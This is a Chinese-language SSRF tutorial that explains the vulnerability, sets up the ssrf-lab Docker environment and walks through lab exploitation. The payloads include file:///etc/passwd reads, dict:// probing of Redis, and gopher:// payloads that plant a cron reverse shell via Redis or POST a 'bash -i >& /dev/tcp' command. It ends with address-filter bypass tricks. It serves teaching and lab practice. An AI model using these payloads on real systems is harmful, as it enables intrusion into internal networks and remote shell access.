SSRF漏洞
基础知识
漏洞描述
SSRF (Server-Side Request Forgery:服务器端请求伪造) 形成的原因大都是由于服务端提供了从其他Web服务器应用获取数据的功能且没有对目标地址做过滤与限制 。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等,而且在大部分的web服务器架构中,web服务器自身是可以访问互联网和服务器所在的内网的,所以攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
而且在一般情况下, SSRF 攻击的目标是外网无法访问的内部系统(即内网),所以SSRF漏洞也可以用一句话来进行总结:
利用一个可以发起网络请求的服务当作跳板来攻击内部其他服务
可能出现的地方
1. 社交分享功能:获取超链接的标题等内容进行显示
2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
3. 在线翻译:给网址翻译对应网页的内容
4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片
5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用户体验
6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
9. 邮件系统:比如接收邮件服务器地址
10. 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google 语法加上这些关键字去寻找SSRF漏洞,一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
12. 从远程服务器请求资源(upload from url 如discuz!;import & expost rss feed 如web
blog;使用了xml引擎对象的地方 如wordpress xmlrpc.php)
- 文件名
特征
https://www.baidu.com/pic.php?url=http://123.com/1.gif
Curl
curl 是常用的命令行工具,用来请求 Web 服务器。它的名字就是客户端(client)的
URL 工具的意思
不带有任何参数时,curl 就是发出 GET 请求
使用file协议curl -v file:///etc/passwd
使用ftp协议 curl -v "ftp://127.0.0.1:端口/info"
使用dict协议 curl -v "dict://127.0.0.1:端口/info"
使用gopher协议 curl -v "gopher://127.0.0.1:端口/_info"
常见内网IP段
局域网地址范围分三类,以下IP段为内网IP段:
C类:192.168.0.0 - 192.168.255.255/24
B类:172.16.0.0 - 172.31.255.255 /16
A类:10.0.0.0 - 10.255.255.255/8
常见协议
Gopher 协议可以做很多事情,特别是在 SSRF 中可以发挥很多重要的作用。利用此协议可以攻击内网的 FTP、Telnet、Redis、Memcache ,也可以进行 GET、POST 请求。
DICT 协议,一个字典服务器协议, A Dictionary Server Protocol ,允许客户端在使用过程中访问更多字典并且该协议约定服务器端侦听端口号: 2628 。
redis 服务是在 6379 端口开启的
漏洞产生
通常由 curl() 、 file_get_contents() 、 fsockopen() 等函数造成
危害
1. 扫内网dict://192.168.1.1:80
2. 向内部任意主机的任意端口发送精心构造的Payload
3. DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
4. 攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)
5. 利用file协议读取本地文件等
6. 攻击服务,如mysql,redis(最常用),fastcgi等
例子
file_get_contents()造成的SSRF:
curl() 导致的SSRF:
常见利用
SSRF-LABS
ssrf环境安装过程
1、 安装centos
https://www.centos.org/
2、 配置centos阿里云镜像节点
wget -O /etc/yum.repos.d/CentOS-Base.repo https://mirrors.aliyun.com/repo/Centos-7.repo
yum makecache 生成缓存
3、 安装docker
安装依赖
yum install -y yum-utils device-mapper-persistent-data lvm2
安装docker的阿里云仓库
yum-config-manager --add-repo http://mirrors.aliyun.com/docker-ce/linux/centos/docker-ce.repo
yum install docker-ce
docker -v
Docker version 19.03.13, build 4484c46d9d
配置docker镜像加速
sudo mkdir -p /etc/docker
sudo tee /etc/docker/daemon.json <<-'EOF'
{
"registry-mirrors": ["https://edha8dri.mirror.aliyuncs.com"]
}
EOF
sudo systemctl daemon-reload
sudo systemctl restart docker
4、 下载ssrf-lab
git clone https://github.com/m6a-UdS/ssrf-lab.git
5、 构建ssrf-lab的basic镜像
cd ssrf-lab/basics
docker build -t ssrf-lab/basic .
docker run -d -p 8080:80 ssrf-lab/basic
6、 这里也可以不构建docker镜像
将ssrf-lab/basics/下的源码拷贝到lnmp环境下即可正常使用
cp -r ssrf-lab/basics/www/ 目标路径
实验
HTTP协议请求
http协议利用方法
http://:
http://127.0.0.1
也可以在centos上再搭建一个web服务,让ssrf请求centos上的web服务
快速搭建方法,安装宝塔,用宝塔搭建
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh
file协议请求
file协议利用方法
file://<文件绝对路径>
file:///etc/passwd
dict协议请求(探测端口是否开放)
这里需要先安装redis
进入到ssrf容器内
apt-get install redis-server
redis-server
或者直接在centos中安装redis服务
https://redis.io/
参照官方提供的redis安装方法安装
wget https://download.redis.io/releases/redis-6.0.9.tar.gz
tar xzf redis-6.0.9.tar.gz
cd redis-6.0.9
make
cd src && make install
./redis-server
dict协议利用方法
dict://:/<路径> 路径参数可以不跟
dict://127.0.0.1:6379/info
这里的6379是redis端口,同理可以使用dict协议探测其它端口
dict:// 127.0.0.1:6379/KEYS 可以查看redis中存储的所有信息
gopher协议请求
gopher协议的利用方法
gopher://:/_后面接TCP数据流
利用1:
gopher协议攻击redis反弹shell
payload:
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a
原理参照
https://www.cnblogs.com/-mo-/p/11487797.html
利用2:
gopher协议请求web界面反弹shell
该环境利用较为困难,需要知道ssrf攻击的目标机器上是否包含有漏洞的页面,如内网某机器上存在存在可利用的web页面exp.php
正常来说我们对该页面发起post请求
POST /ssrf/exp.php HTTP/1.1
Host: 127.0.0.1
User-Agent: curl/7.43.0
Accept: */*
Content-Length: 49
Content-Type: application/x-www-form-urlencoded
a=bash -i >%26 /dev/tcp/ip/端口 0>%261
这样可以得到一个反弹shell
现在我们利用gopher协议发送http请求
payload:
gopher://127.0.0.1:80/_POST /ssrf/exp.php HTTP/1.1%0d%0aHost: 127.0.0.1%0d%0aUserAgent: curl/7.43.0%0d%0aAccept: */*%0d%0aContent-Length: 49%0d%0aContent-Type:application/x-www-form-urlencoded%0d%0a%0d%0aa=bash -i >%2526/dev/tcp/127.0.0.1/45952 0>%25261null
利用3:ssrf生成工具
手动构造代码过于繁琐,所以可以借助大佬写好的工具,来自动生成gopher协议的利用代码
https://github.com/tarunkant/Gopherus
该工具可以利用ssrf生成攻击
mysql
postgresql
fastcgi
Memcached
python ruby
redis
Zabbix
smtp
等协议的数据包
具体使用方法可以参照工具内的介绍
ftp协议请求
一般情况很少用到ftp协议请求
常见绕过
@
http://[email protected]
这个url,实际上会访问http://b.com在@之前是认证信息所以a.com被认为是b.com的认证信息 http://[email protected]:80,也就会访问到127.0.0.1上去
ip进制转换
8,16进制等
0x7f.0.0.1
2130706433
0x7f000001
0177.0.0.1
编码欺骗
在解析规则中 ⓛocaⓛhost 会被认为是localhost
指向任意ip的域名xip.io
http://www.127.0.0.1.xip.io
句号绕过
127。0。0。1
302绕过
配合有跳转的页面进行绕过
自己搭建的一个vps上的302跳转:
http://www.xxx.cn/redirect.php?url=http://192.168.0.1/
利用:
http://www.ssrf.com?payload=http://www.xxx.cn/redirect.php?url=http://192.168.0.1/